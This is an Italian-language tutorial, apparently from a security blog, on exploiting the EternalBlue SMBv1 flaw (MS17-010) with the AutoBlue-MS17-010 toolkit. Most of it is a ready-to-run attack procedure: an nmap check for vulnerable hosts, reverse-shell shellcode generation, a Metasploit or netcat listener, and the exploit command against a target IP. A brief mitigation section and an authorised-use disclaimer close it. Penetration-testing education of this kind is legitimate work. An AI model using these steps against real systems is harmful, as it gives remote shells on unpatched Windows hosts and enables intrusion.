Tutorials

AutoBlue

Guida Approfondita all'Exploitation di EternalBlue MS17-010 ---

#exploitation#windows#smb#metasploit

Guida Approfondita all'Exploitation di EternalBlue (MS17-010)


🔧 Cos'è EternalBlue?

EternalBlue è una vulnerabilità critica (CVE-2017-0144) scoperta nella gestione del protocollo SMBv1 su sistemi Microsoft Windows. Permette Remote Code Execution (RCE) tramite pacchetti SMB appositamente creati. È stata utilizzata in attacchi noti come WannaCry e NotPetya.

La vulnerabilità è stata corretta da Microsoft con l'aggiornamento MS17-010, ma molti sistemi legacy possono ancora essere esposti.


🔎 Identificazione della Vulnerabilità

Utilizzare lo script NSE di Nmap per identificare host vulnerabili:

bash
nmap --script=smb-vuln-ms17-010 -p445 <IP_target>

Un risultato positivo indicherà che l'host è potenzialmente vulnerabile a EternalBlue.


📂 Preparazione dell'Exploit con AutoBlue-MS17-010

1. Clonazione del repository:

bash
git clone https://github.com/3ndG4me/AutoBlue-MS17-010.git
cd AutoBlue-MS17-010

2. Installazione delle dipendenze

Assicurati di avere Python 2.7 installato.

Per la creazione dei payloads, eseguire lo script:

bash
./shell_prep.sh

Questo script crea automaticamente diversi shellcode per exploit in reverse shell TCP.

Puoi personalizzare il payload modificando i parametri LHOST e LPORT all'interno dello script.

3. Avvio del Listener

Apri una nuova finestra e lancia Metasploit o Netcat per ricevere la shell:

bash
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <tuo_IP>
set LPORT <porta_specificata>
run

Oppure con netcat:

bash
nc -lvnp <porta_specificata>

🔪 Esecuzione dell'Exploit

All'interno della directory di AutoBlue sono presenti vari script Python specifici per diverse versioni di Windows:

  • eternalblue_exploit7.py per Windows 7
  • eternalblue_exploit8.py per Windows 8 (se disponibile)
  • eternalblue_exploit10.py per Windows 10 (se disponibile)

Esempio di esecuzione:

bash
python eternalblue_exploit7.py <IP_target> shellcode/sc_x64.bin

Il file sc_x64.bin è il payload generato da shell_prep.sh. Scegli quello più adatto all'architettura del sistema target (x86 o x64).

Se l'exploit ha successo, otterrai una shell sul listener attivo.


⚠️ Note Importanti

  • EternalBlue funziona solo su host vulnerabili con SMBv1 attivo.
  • I sistemi aggiornati dopo marzo 2017 non sono vulnerabili.
  • In ambienti reali, verifica sempre le policy di intrusion detection: l'exploit può essere facilmente rilevato.

🧰 Difesa & Mitigazione

  • Disabilitare SMBv1 ove possibile:
bash
Set-SmbServerConfiguration -EnableSMB1Protocol $false
  • Applicare la patch MS17-010 tramite Windows Update.
  • Monitorare le porte 445/139 e bloccare accessi non autorizzati.

📄 Riferimenti


💡 Conclusione

L'exploit EternalBlue è una tecnica classica ma ancora utile nei test su infrastrutture legacy. Automatizzare l'attacco tramite AutoBlue-MS17-010 consente un approccio veloce e ripetibile. Come sempre, è fondamentale utilizzarlo esclusivamente in ambienti controllati e autorizzati.